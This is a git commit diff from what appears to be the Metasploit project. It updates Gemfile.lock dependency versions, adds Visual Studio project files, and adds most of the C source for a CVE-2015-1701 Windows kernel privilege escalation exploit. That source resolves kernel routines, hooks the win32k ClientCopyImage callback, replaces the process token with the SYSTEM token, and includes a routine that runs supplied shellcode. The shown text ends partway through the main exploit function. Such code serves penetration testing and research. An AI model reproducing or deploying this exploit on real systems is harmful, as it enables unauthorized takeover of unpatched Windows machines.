Merge conflict solving changes
commit
12188f1a00
10
Gemfile.lock
10
Gemfile.lock
|
@ -9,7 +9,7 @@ PATH
|
||||||
json
|
json
|
||||||
metasploit-concern (~> 1.0)
|
metasploit-concern (~> 1.0)
|
||||||
metasploit-model (~> 1.0)
|
metasploit-model (~> 1.0)
|
||||||
metasploit-payloads (= 1.0.2)
|
metasploit-payloads (= 1.0.3)
|
||||||
msgpack
|
msgpack
|
||||||
nokogiri
|
nokogiri
|
||||||
packetfu (= 1.1.9)
|
packetfu (= 1.1.9)
|
||||||
|
@ -123,8 +123,8 @@ GEM
|
||||||
activemodel (>= 4.0.9, < 4.1.0)
|
activemodel (>= 4.0.9, < 4.1.0)
|
||||||
activesupport (>= 4.0.9, < 4.1.0)
|
activesupport (>= 4.0.9, < 4.1.0)
|
||||||
railties (>= 4.0.9, < 4.1.0)
|
railties (>= 4.0.9, < 4.1.0)
|
||||||
metasploit-payloads (1.0.2)
|
metasploit-payloads (1.0.3)
|
||||||
metasploit_data_models (1.2.3)
|
metasploit_data_models (1.2.5)
|
||||||
activerecord (>= 4.0.9, < 4.1.0)
|
activerecord (>= 4.0.9, < 4.1.0)
|
||||||
activesupport (>= 4.0.9, < 4.1.0)
|
activesupport (>= 4.0.9, < 4.1.0)
|
||||||
arel-helpers
|
arel-helpers
|
||||||
|
@ -156,7 +156,7 @@ GEM
|
||||||
coderay (~> 1.1.0)
|
coderay (~> 1.1.0)
|
||||||
method_source (~> 0.8.1)
|
method_source (~> 0.8.1)
|
||||||
slop (~> 3.4)
|
slop (~> 3.4)
|
||||||
rack (1.5.3)
|
rack (1.5.5)
|
||||||
rack-test (0.6.3)
|
rack-test (0.6.3)
|
||||||
rack (>= 1.0)
|
rack (>= 1.0)
|
||||||
rails (4.0.13)
|
rails (4.0.13)
|
||||||
|
@ -174,7 +174,7 @@ GEM
|
||||||
thor (>= 0.18.1, < 2.0)
|
thor (>= 0.18.1, < 2.0)
|
||||||
rake (10.4.2)
|
rake (10.4.2)
|
||||||
rb-readline-r7 (0.5.2.0)
|
rb-readline-r7 (0.5.2.0)
|
||||||
recog (2.0.5)
|
recog (2.0.6)
|
||||||
nokogiri
|
nokogiri
|
||||||
redcarpet (3.2.3)
|
redcarpet (3.2.3)
|
||||||
rkelly-remix (0.0.6)
|
rkelly-remix (0.0.6)
|
||||||
|
|
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,151 @@
|
||||||
|
## Ignore Visual Studio temporary files, build results, and
|
||||||
|
## files generated by popular Visual Studio add-ons.
|
||||||
|
|
||||||
|
# User-specific files
|
||||||
|
*.suo
|
||||||
|
*.user
|
||||||
|
*.sln.docstates
|
||||||
|
|
||||||
|
# Build results
|
||||||
|
|
||||||
|
[Dd]ebug/
|
||||||
|
[Rr]elease/
|
||||||
|
x64/
|
||||||
|
build/
|
||||||
|
[Bb]in/
|
||||||
|
[Oo]bj/
|
||||||
|
|
||||||
|
# Enable "build/" folder in the NuGet Packages folder since NuGet packages use it for MSBuild targets
|
||||||
|
!packages/*/build/
|
||||||
|
|
||||||
|
# MSTest test Results
|
||||||
|
[Tt]est[Rr]esult*/
|
||||||
|
[Bb]uild[Ll]og.*
|
||||||
|
|
||||||
|
*_i.c
|
||||||
|
*_p.c
|
||||||
|
*.ilk
|
||||||
|
*.meta
|
||||||
|
*.obj
|
||||||
|
*.pch
|
||||||
|
*.pdb
|
||||||
|
*.pgc
|
||||||
|
*.pgd
|
||||||
|
*.rsp
|
||||||
|
*.sbr
|
||||||
|
*.tlb
|
||||||
|
*.tli
|
||||||
|
*.tlh
|
||||||
|
*.tmp
|
||||||
|
*.tmp_proj
|
||||||
|
*.log
|
||||||
|
*.vspscc
|
||||||
|
*.vssscc
|
||||||
|
.builds
|
||||||
|
*.pidb
|
||||||
|
*.log
|
||||||
|
*.scc
|
||||||
|
|
||||||
|
# Visual C++ cache files
|
||||||
|
ipch/
|
||||||
|
*.aps
|
||||||
|
*.ncb
|
||||||
|
*.opensdf
|
||||||
|
*.sdf
|
||||||
|
*.cachefile
|
||||||
|
|
||||||
|
# Visual Studio profiler
|
||||||
|
*.psess
|
||||||
|
*.vsp
|
||||||
|
*.vspx
|
||||||
|
|
||||||
|
# Guidance Automation Toolkit
|
||||||
|
*.gpState
|
||||||
|
|
||||||
|
# ReSharper is a .NET coding add-in
|
||||||
|
_ReSharper*/
|
||||||
|
*.[Rr]e[Ss]harper
|
||||||
|
|
||||||
|
# TeamCity is a build add-in
|
||||||
|
_TeamCity*
|
||||||
|
|
||||||
|
# DotCover is a Code Coverage Tool
|
||||||
|
*.dotCover
|
||||||
|
|
||||||
|
# NCrunch
|
||||||
|
*.ncrunch*
|
||||||
|
.*crunch*.local.xml
|
||||||
|
|
||||||
|
# Installshield output folder
|
||||||
|
[Ee]xpress/
|
||||||
|
|
||||||
|
# DocProject is a documentation generator add-in
|
||||||
|
DocProject/buildhelp/
|
||||||
|
DocProject/Help/*.HxT
|
||||||
|
DocProject/Help/*.HxC
|
||||||
|
DocProject/Help/*.hhc
|
||||||
|
DocProject/Help/*.hhk
|
||||||
|
DocProject/Help/*.hhp
|
||||||
|
DocProject/Help/Html2
|
||||||
|
DocProject/Help/html
|
||||||
|
|
||||||
|
# Click-Once directory
|
||||||
|
publish/
|
||||||
|
|
||||||
|
# Publish Web Output
|
||||||
|
*.Publish.xml
|
||||||
|
*.pubxml
|
||||||
|
|
||||||
|
# NuGet Packages Directory
|
||||||
|
## TODO: If you have NuGet Package Restore enabled, uncomment the next line
|
||||||
|
#packages/
|
||||||
|
|
||||||
|
# Windows Azure Build Output
|
||||||
|
csx
|
||||||
|
*.build.csdef
|
||||||
|
|
||||||
|
# Windows Store app package directory
|
||||||
|
AppPackages/
|
||||||
|
|
||||||
|
# Others
|
||||||
|
sql/
|
||||||
|
*.Cache
|
||||||
|
ClientBin/
|
||||||
|
[Ss]tyle[Cc]op.*
|
||||||
|
~$*
|
||||||
|
*~
|
||||||
|
*.dbmdl
|
||||||
|
*.[Pp]ublish.xml
|
||||||
|
*.pfx
|
||||||
|
*.publishsettings
|
||||||
|
|
||||||
|
# RIA/Silverlight projects
|
||||||
|
Generated_Code/
|
||||||
|
|
||||||
|
# Backup & report files from converting an old project file to a newer
|
||||||
|
# Visual Studio version. Backup files are not needed, because we have git ;-)
|
||||||
|
_UpgradeReport_Files/
|
||||||
|
Backup*/
|
||||||
|
UpgradeLog*.XML
|
||||||
|
UpgradeLog*.htm
|
||||||
|
|
||||||
|
# SQL Server files
|
||||||
|
App_Data/*.mdf
|
||||||
|
App_Data/*.ldf
|
||||||
|
|
||||||
|
# =========================
|
||||||
|
# Windows detritus
|
||||||
|
# =========================
|
||||||
|
|
||||||
|
# Windows image file caches
|
||||||
|
Thumbs.db
|
||||||
|
ehthumbs.db
|
||||||
|
|
||||||
|
# Folder config file
|
||||||
|
Desktop.ini
|
||||||
|
|
||||||
|
# Recycle Bin used on file shares
|
||||||
|
$RECYCLE.BIN/
|
||||||
|
|
||||||
|
# Mac crap
|
||||||
|
.DS_Store
|
|
@ -0,0 +1,28 @@
|
||||||
|
|
||||||
|
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||||
|
# Visual Studio 2013
|
||||||
|
VisualStudioVersion = 12.0.21005.1
|
||||||
|
MinimumVisualStudioVersion = 10.0.40219.1
|
||||||
|
Project("{68E70ED4-1C36-46C1-8B45-E7CB546B62CA}") = "cve-2015-1701", "cve-2015-1701\cve-2015-1701.vcxproj", "{24713BA3-D562-41EF-87FC-9D5E44DFF2F8}"
|
||||||
|
EndProject
|
||||||
|
Global
|
||||||
|
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||||
|
Debug|Win32 = Debug|Win32
|
||||||
|
Debug|x64 = Debug|x64
|
||||||
|
Release|Win32 = Release|Win32
|
||||||
|
Release|x64 = Release|x64
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||||
|
{24713BA3-D562-41EF-87FC-9D5E44DFF2F8}.Debug|Win32.ActiveCfg = Debug|Win32
|
||||||
|
{24713BA3-D562-41EF-87FC-9D5E44DFF2F8}.Debug|Win32.Build.0 = Debug|Win32
|
||||||
|
{24713BA3-D562-41EF-87FC-9D5E44DFF2F8}.Debug|x64.ActiveCfg = Debug|x64
|
||||||
|
{24713BA3-D562-41EF-87FC-9D5E44DFF2F8}.Debug|x64.Build.0 = Debug|x64
|
||||||
|
{24713BA3-D562-41EF-87FC-9D5E44DFF2F8}.Release|Win32.ActiveCfg = Release|Win32
|
||||||
|
{24713BA3-D562-41EF-87FC-9D5E44DFF2F8}.Release|Win32.Build.0 = Release|Win32
|
||||||
|
{24713BA3-D562-41EF-87FC-9D5E44DFF2F8}.Release|x64.ActiveCfg = Release|x64
|
||||||
|
{24713BA3-D562-41EF-87FC-9D5E44DFF2F8}.Release|x64.Build.0 = Release|x64
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(SolutionProperties) = preSolution
|
||||||
|
HideSolutionNode = FALSE
|
||||||
|
EndGlobalSection
|
||||||
|
EndGlobal
|
|
@ -0,0 +1,570 @@
|
||||||
|
/*******************************************************************************
|
||||||
|
*
|
||||||
|
* (C) COPYRIGHT AUTHORS, 2015
|
||||||
|
*
|
||||||
|
* TITLE: MAIN.C
|
||||||
|
*
|
||||||
|
* VERSION: 1.00
|
||||||
|
*
|
||||||
|
* DATE: 10 May 2015
|
||||||
|
*
|
||||||
|
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
|
||||||
|
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
|
||||||
|
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
|
||||||
|
* PARTICULAR PURPOSE.
|
||||||
|
*
|
||||||
|
*******************************************************************************/
|
||||||
|
|
||||||
|
//Disable nonmeaningful warnings.
|
||||||
|
#pragma warning(disable: 4005) // macro redefinition
|
||||||
|
#pragma warning(disable: 4054) // 'type cast' : from function pointer %s to data pointer %s
|
||||||
|
#pragma warning(disable: 4152) // nonstandard extension, function/data pointer conversion in expression
|
||||||
|
#pragma warning(disable: 4201) // nonstandard extension used : nameless struct/union
|
||||||
|
|
||||||
|
#define _CRT_SECURE_NO_WARNINGS
|
||||||
|
#define OEMRESOURCE
|
||||||
|
|
||||||
|
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||||
|
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
||||||
|
#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
|
||||||
|
|
||||||
|
#include <ntstatus.h>
|
||||||
|
#include "cve-2015-1701.h"
|
||||||
|
|
||||||
|
#define TYPE_WINDOW 1
|
||||||
|
#define HMUNIQSHIFT 16
|
||||||
|
|
||||||
|
typedef NTSTATUS (NTAPI *pUser32_ClientCopyImage)(PVOID p);
|
||||||
|
typedef NTSTATUS(NTAPI *lPsLookupProcessByProcessId)(
|
||||||
|
IN HANDLE ProcessId,
|
||||||
|
OUT PVOID Process
|
||||||
|
);
|
||||||
|
|
||||||
|
typedef PACCESS_TOKEN(NTAPI *lPsReferencePrimaryToken)(
|
||||||
|
_Inout_ PVOID Process
|
||||||
|
);
|
||||||
|
|
||||||
|
typedef PVOID PHEAD;
|
||||||
|
|
||||||
|
typedef struct _HANDLEENTRY {
|
||||||
|
PHEAD phead; // Pointer to the Object.
|
||||||
|
PVOID pOwner; // PTI or PPI
|
||||||
|
BYTE bType; // Object handle type
|
||||||
|
BYTE bFlags; // Flags
|
||||||
|
WORD wUniq; // Access count.
|
||||||
|
} HANDLEENTRY, *PHANDLEENTRY;
|
||||||
|
|
||||||
|
typedef struct _SERVERINFO {
|
||||||
|
WORD wRIPFlags;
|
||||||
|
WORD wSRVIFlags;
|
||||||
|
WORD wRIPPID;
|
||||||
|
WORD wRIPError;
|
||||||
|
ULONG cHandleEntries;
|
||||||
|
// incomplete
|
||||||
|
} SERVERINFO, *PSERVERINFO;
|
||||||
|
|
||||||
|
typedef struct _SHAREDINFO {
|
||||||
|
PSERVERINFO psi;
|
||||||
|
PHANDLEENTRY aheList;
|
||||||
|
ULONG HeEntrySize;
|
||||||
|
// incomplete
|
||||||
|
} SHAREDINFO, *PSHAREDINFO;
|
||||||
|
|
||||||
|
static const TCHAR MAINWINDOWCLASSNAME[] = TEXT("usercls348_Mainwindow");
|
||||||
|
|
||||||
|
lPsLookupProcessByProcessId g_pPsLookupProcessByProcessId = NULL;
|
||||||
|
lPsReferencePrimaryToken g_pPsReferencePrimaryToken = NULL;
|
||||||
|
pUser32_ClientCopyImage g_originalCCI = NULL;
|
||||||
|
PVOID g_ppCCI = NULL, g_w32theadinfo = NULL;
|
||||||
|
int g_shellCalled = 0;
|
||||||
|
DWORD g_OurPID;
|
||||||
|
|
||||||
|
typedef NTSTATUS (NTAPI *PRtlGetVersion)( _Inout_ PRTL_OSVERSIONINFOW lpVersionInformation );
|
||||||
|
|
||||||
|
NTSTATUS NTAPI RtlGetVersion(
|
||||||
|
_Inout_ PRTL_OSVERSIONINFOW lpVersionInformation
|
||||||
|
)
|
||||||
|
{
|
||||||
|
static PRtlGetVersion proxy = NULL;
|
||||||
|
|
||||||
|
if (proxy == NULL)
|
||||||
|
{
|
||||||
|
proxy = (PRtlGetVersion)GetProcAddress(GetModuleHandle("ntdll"), "RtlGetVersion");
|
||||||
|
}
|
||||||
|
|
||||||
|
return proxy(lpVersionInformation);
|
||||||
|
}
|
||||||
|
|
||||||
|
typedef NTSTATUS (WINAPI* PNtQuerySystemInformation)(
|
||||||
|
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
|
||||||
|
_Inout_ PVOID SystemInformation,
|
||||||
|
_In_ ULONG SystemInformationLength,
|
||||||
|
_Out_opt_ PULONG ReturnLength
|
||||||
|
);
|
||||||
|
|
||||||
|
NTSTATUS WINAPI NtQuerySystemInformation(
|
||||||
|
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
|
||||||
|
_Inout_ PVOID SystemInformation,
|
||||||
|
_In_ ULONG SystemInformationLength,
|
||||||
|
_Out_opt_ PULONG ReturnLength
|
||||||
|
)
|
||||||
|
{
|
||||||
|
static PNtQuerySystemInformation proxy = NULL;
|
||||||
|
|
||||||
|
if (proxy == NULL)
|
||||||
|
{
|
||||||
|
proxy = (PNtQuerySystemInformation)GetProcAddress(GetModuleHandle("ntdll"), "NtQuerySystemInformation");
|
||||||
|
}
|
||||||
|
|
||||||
|
return proxy(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
|
||||||
|
}
|
||||||
|
|
||||||
|
typedef NTSTATUS (NTAPI* PNtQueryInformationProcess)(
|
||||||
|
_In_ HANDLE ProcessHandle,
|
||||||
|
_In_ PROCESSINFOCLASS ProcessInformationClass,
|
||||||
|
_Out_ PVOID ProcessInformation,
|
||||||
|
_In_ ULONG ProcessInformationLength,
|
||||||
|
_Out_opt_ PULONG ReturnLength
|
||||||
|
);
|
||||||
|
|
||||||
|
NTSTATUS NTAPI NtQueryInformationProcess(
|
||||||
|
_In_ HANDLE ProcessHandle,
|
||||||
|
_In_ PROCESSINFOCLASS ProcessInformationClass,
|
||||||
|
_Out_ PVOID ProcessInformation,
|
||||||
|
_In_ ULONG ProcessInformationLength,
|
||||||
|
_Out_opt_ PULONG ReturnLength
|
||||||
|
)
|
||||||
|
{
|
||||||
|
static PNtQueryInformationProcess proxy = NULL;
|
||||||
|
|
||||||
|
if (proxy == NULL)
|
||||||
|
{
|
||||||
|
proxy = (PNtQueryInformationProcess)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");
|
||||||
|
}
|
||||||
|
|
||||||
|
return proxy(ProcessHandle, ProcessInformationClass, ProcessInformation, ProcessInformationLength, ReturnLength);
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD WINAPI execute_payload(LPVOID lpPayload)
|
||||||
|
{
|
||||||
|
VOID(*lpCode)() = (VOID(*)())lpPayload;
|
||||||
|
lpCode();
|
||||||
|
return ERROR_SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* supGetSystemInfo
|
||||||
|
*
|
||||||
|
* Purpose:
|
||||||
|
*
|
||||||
|
* Returns buffer with system information by given InfoClass.
|
||||||
|
*
|
||||||
|
* Returned buffer must be freed with HeapFree after usage.
|
||||||
|
* Function will return error after 100 attempts.
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
PVOID supGetSystemInfo(
|
||||||
|
_In_ SYSTEM_INFORMATION_CLASS InfoClass
|
||||||
|
)
|
||||||
|
{
|
||||||
|
INT c = 0;
|
||||||
|
PVOID Buffer = NULL;
|
||||||
|
ULONG Size = 0x1000;
|
||||||
|
NTSTATUS status;
|
||||||
|
ULONG memIO;
|
||||||
|
|
||||||
|
do {
|
||||||
|
Buffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, Size);
|
||||||
|
if (Buffer != NULL) {
|
||||||
|
status = NtQuerySystemInformation(InfoClass, Buffer, Size, &memIO);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
if (status == STATUS_INFO_LENGTH_MISMATCH) {
|
||||||
|
HeapFree(GetProcessHeap(), 0, Buffer);
|
||||||
|
Size *= 2;
|
||||||
|
}
|
||||||
|
c++;
|
||||||
|
if (c > 100) {
|
||||||
|
status = STATUS_SECRET_TOO_LONG;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
} while (status == STATUS_INFO_LENGTH_MISMATCH);
|
||||||
|
|
||||||
|
if (NT_SUCCESS(status)) {
|
||||||
|
return Buffer;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (Buffer) {
|
||||||
|
HeapFree(GetProcessHeap(), 0, Buffer);
|
||||||
|
}
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* supIsProcess32bit
|
||||||
|
*
|
||||||
|
* Purpose:
|
||||||
|
*
|
||||||
|
* Return TRUE if given process is under WOW64, FALSE otherwise.
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
BOOLEAN supIsProcess32bit(
|
||||||
|
_In_ HANDLE hProcess
|
||||||
|
)
|
||||||
|
{
|
||||||
|
NTSTATUS status;
|
||||||
|
PROCESS_EXTENDED_BASIC_INFORMATION pebi;
|
||||||
|
|
||||||
|
if (hProcess == NULL) {
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
//query if this is wow64 process
|
||||||
|
RtlSecureZeroMemory(&pebi, sizeof(pebi));
|
||||||
|
pebi.Size = sizeof(PROCESS_EXTENDED_BASIC_INFORMATION);
|
||||||
|
status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pebi, sizeof(pebi), NULL);
|
||||||
|
if (NT_SUCCESS(status)) {
|
||||||
|
return (pebi.IsWow64Process == 1);
|
||||||
|
}
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL GetShellCodeFunctions(VOID)
|
||||||
|
{
|
||||||
|
BOOL cond = FALSE;
|
||||||
|
ULONG rl = 0;
|
||||||
|
PVOID MappedKernel = NULL;
|
||||||
|
ULONG_PTR KernelBase = 0L, FuncAddress = 0L;
|
||||||
|
PRTL_PROCESS_MODULES miSpace = NULL;
|
||||||
|
CHAR KernelFullPathName[MAX_PATH * 2];
|
||||||
|
BOOL bSuccess = FALSE;
|
||||||
|
|
||||||
|
do {
|
||||||
|
|
||||||
|
miSpace = supGetSystemInfo(SystemModuleInformation);
|
||||||
|
if (miSpace == NULL) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (miSpace->NumberOfModules == 0) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
rl = GetSystemDirectoryA(KernelFullPathName, MAX_PATH);
|
||||||
|
if (rl == 0) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
KernelFullPathName[rl] = (CHAR)'\\';
|
||||||
|
strcpy(&KernelFullPathName[rl + 1],
|
||||||
|
(const char*)&miSpace->Modules[0].FullPathName[miSpace->Modules[0].OffsetToFileName]);
|
||||||
|
KernelBase = (ULONG_PTR)miSpace->Modules[0].ImageBase;
|
||||||
|
HeapFree(GetProcessHeap(), 0, miSpace);
|
||||||
|
miSpace = NULL;
|
||||||
|
|
||||||
|
MappedKernel = LoadLibraryExA(KernelFullPathName, NULL, DONT_RESOLVE_DLL_REFERENCES);
|
||||||
|
if (MappedKernel == NULL) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
FuncAddress = (ULONG_PTR)GetProcAddress(MappedKernel, "PsLookupProcessByProcessId");
|
||||||
|
g_pPsLookupProcessByProcessId = (lPsLookupProcessByProcessId)(KernelBase + FuncAddress - (ULONG_PTR)MappedKernel);
|
||||||
|
|
||||||
|
FuncAddress = (ULONG_PTR)GetProcAddress(MappedKernel, "PsReferencePrimaryToken");
|
||||||
|
g_pPsReferencePrimaryToken = (lPsReferencePrimaryToken)(KernelBase + FuncAddress - (ULONG_PTR)MappedKernel);
|
||||||
|
bSuccess = TRUE;
|
||||||
|
} while (cond);
|
||||||
|
|
||||||
|
if (MappedKernel != NULL) {
|
||||||
|
FreeLibrary(MappedKernel);
|
||||||
|
}
|
||||||
|
if (miSpace != NULL) {
|
||||||
|
HeapFree(GetProcessHeap(), 0, miSpace);
|
||||||
|
}
|
||||||
|
|
||||||
|
return bSuccess;
|
||||||
|
}
|
||||||
|
|
||||||
|
PSHAREDINFO GetSharedInfo(VOID) {
|
||||||
|
HMODULE huser32;
|
||||||
|
PSHAREDINFO pSharedInfo = NULL;
|
||||||
|
DWORD dwCursor = 0;
|
||||||
|
|
||||||
|
huser32 = GetModuleHandle(TEXT("user32.dll"));
|
||||||
|
if (huser32 == NULL)
|
||||||
|
return pSharedInfo;
|
||||||
|
|
||||||
|
pSharedInfo = (PSHAREDINFO)GetProcAddress(huser32, TEXT("gSharedInfo"));
|
||||||
|
|
||||||
|
#ifndef _M_X64
|
||||||
|
PVOID pUser32InitializeImmEntryTable;
|
||||||
|
|
||||||
|
/* user32!gSharedInfo resoultion for x86 systems < Windows 7 */
|
||||||
|
if (pSharedInfo != NULL)
|
||||||
|
return pSharedInfo;
|
||||||
|
|
||||||
|
pUser32InitializeImmEntryTable = GetProcAddress(huser32, TEXT("User32InitializeImmEntryTable"));
|
||||||
|
|
||||||
|
for (dwCursor = 0; dwCursor < 0x80; dwCursor++) {
|
||||||
|
if ( *((PBYTE)pUser32InitializeImmEntryTable + dwCursor) != 0x50 )
|
||||||
|
continue;
|
||||||
|
if (*((PBYTE)pUser32InitializeImmEntryTable + dwCursor + 1) != 0x68)
|
||||||
|
continue;
|
||||||
|
return *((PSHAREDINFO *)((PBYTE)pUser32InitializeImmEntryTable + dwCursor + 2));
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
return pSharedInfo;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* GetFirstThreadHWND
|
||||||
|
*
|
||||||
|
* Purpose:
|
||||||
|
*
|
||||||
|
* Locate, convert and return hwnd for current thread from SHAREDINFO->aheList.
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
HWND GetFirstThreadHWND(VOID)
|
||||||
|
{
|
||||||
|
PSHAREDINFO pse;
|
||||||
|
PHANDLEENTRY List;
|
||||||
|
ULONG_PTR c, k;
|
||||||
|
|
||||||
|
pse = GetSharedInfo();
|
||||||
|
if (pse == NULL) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
List = pse->aheList;
|
||||||
|
k = pse->psi->cHandleEntries;
|
||||||
|
|
||||||
|
//if (pse->HeEntrySize != sizeof(HANDLEENTRY))
|
||||||
|
//return 0;
|
||||||
|
|
||||||
|
//
|
||||||
|
// Locate, convert and return hwnd for current thread.
|
||||||
|
//
|
||||||
|
for (c = 0; c < k; c++)
|
||||||
|
if ((List[c].pOwner == g_w32theadinfo) && (List[c].bType == TYPE_WINDOW)) {
|
||||||
|
return (HWND)(c | (((ULONG_PTR)List[c].wUniq) << HMUNIQSHIFT));
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Search the specified data structure for a member with CurrentValue.
|
||||||
|
BOOL FindAndReplaceMember(PDWORD_PTR pdwStructure, DWORD_PTR dwCurrentValue, DWORD_PTR dwNewValue, DWORD_PTR dwMaxSize)
|
||||||
|
{
|
||||||
|
DWORD_PTR dwIndex, dwMask;
|
||||||
|
|
||||||
|
// Microsoft QWORD aligns object pointers, then uses the lower three
|
||||||
|
// bits for quick reference counting.
|
||||||
|
#ifdef _M_X64
|
||||||
|
dwMask = ~0xf;
|
||||||
|
#else
|
||||||
|
dwMask = ~7;
|
||||||
|
#endif
|
||||||
|
// dwMask out the reference count.
|
||||||
|
dwCurrentValue &= dwMask;
|
||||||
|
|
||||||
|
// Scan the structure for any occurrence of dwCurrentValue.
|
||||||
|
for (dwIndex = 0; dwIndex < dwMaxSize; dwIndex++)
|
||||||
|
{
|
||||||
|
if ((pdwStructure[dwIndex] & dwMask) == dwCurrentValue)
|
||||||
|
{
|
||||||
|
// And finally, replace it with NewValue.
|
||||||
|
pdwStructure[dwIndex] = dwNewValue;
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Member not found.
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* StealProcessToken
|
||||||
|
*
|
||||||
|
* Purpose:
|
||||||
|
*
|
||||||
|
* Copy system token to current process object.
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
NTSTATUS NTAPI StealProcessToken(VOID)
|
||||||
|
{
|
||||||
|
void *pMyProcessInfo = NULL;
|
||||||
|
void *pSystemInfo = NULL;
|
||||||
|
PACCESS_TOKEN systemToken;
|
||||||
|
PACCESS_TOKEN targetToken;
|
||||||
|
|
||||||
|
g_pPsLookupProcessByProcessId((HANDLE)g_OurPID, &pMyProcessInfo);
|
||||||
|
g_pPsLookupProcessByProcessId((HANDLE)4, &pSystemInfo);
|
||||||
|
|
||||||
|
targetToken = g_pPsReferencePrimaryToken(pMyProcessInfo);
|
||||||
|
systemToken = g_pPsReferencePrimaryToken(pSystemInfo);
|
||||||
|
|
||||||
|
// Find the token in the target process, and replace with the system token.
|
||||||
|
FindAndReplaceMember((PDWORD_PTR)pMyProcessInfo,
|
||||||
|
(DWORD_PTR)targetToken,
|
||||||
|
(DWORD_PTR)systemToken,
|
||||||
|
0x200);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/*
|
||||||
|
* MainWindowProc
|
||||||
|
*
|
||||||
|
* Purpose:
|
||||||
|
*
|
||||||
|
* To be called in ring0.
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
LRESULT CALLBACK MainWindowProc(
|
||||||
|
_In_ HWND hwnd,
|
||||||
|
_In_ UINT uMsg,
|
||||||
|
_In_ WPARAM wParam,
|
||||||
|
_In_ LPARAM lParam
|
||||||
|
)
|
||||||
|
{
|
||||||
|
UNREFERENCED_PARAMETER(hwnd);
|
||||||
|
UNREFERENCED_PARAMETER(uMsg);
|
||||||
|
UNREFERENCED_PARAMETER(wParam);
|
||||||
|
UNREFERENCED_PARAMETER(lParam);
|
||||||
|
|
||||||
|
if (g_shellCalled == 0) {
|
||||||
|
StealProcessToken();
|
||||||
|
g_shellCalled = 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* hookCCI
|
||||||
|
*
|
||||||
|
* Purpose:
|
||||||
|
*
|
||||||
|
* _ClientCopyImage hook handler.
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
NTSTATUS NTAPI hookCCI(
|
||||||
|
PVOID p
|
||||||
|
)
|
||||||
|
{
|
||||||
|
InterlockedExchangePointer(g_ppCCI, g_originalCCI); //restore original callback
|
||||||
|
|
||||||
|
SetWindowLongPtr(GetFirstThreadHWND(), GWLP_WNDPROC, (LONG_PTR)&DefWindowProc);
|
||||||
|
|
||||||
|
return g_originalCCI(p);
|
||||||
|
}
|
||||||
|
|
||||||
|
void win32k_client_copy_image(LPVOID lpPayload)
|
||||||
|
{
|
||||||
|
|
||||||
|
PTEB teb = NtCurrentTeb();
|
||||||
|
PPEB peb = teb->ProcessEnvironmentBlock;
|
||||||
|
WNDCLASSEX wincls;
|
||||||
|
HINSTANCE hinst = GetModuleHandle(NULL);
|
||||||
|
BOOL rv = TRUE;
|
||||||
|
MSG msg1;
|
||||||
|
ATOM class_atom;
|
||||||
|
HWND MainWindow;
|
||||||
|
DWORD prot;
|
||||||
|
OSVERSIONINFOW osver;
|
||||||
|
|
||||||
|
RtlSecureZeroMemory(&osver, sizeof(osver));
|
||||||
|
osver.dwOSVersionInfoSize = sizeof(osver);
|
||||||
|
RtlGetVersion(&osver);
|
||||||
|
|
||||||
|
if (osver.dwBuildNumber > 7601) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (supIsProcess32bit(GetCurrentProcess())) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
g_OurPID = GetCurrentProcessId();
|
||||||
|
GetShellCodeFunctions();
|
||||||
|
|
||||||
|
if (g_pPsLookupProcessByProcessId == NULL) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
RtlSecureZeroMemory(&wincls, sizeof(wincls));
|
||||||
|
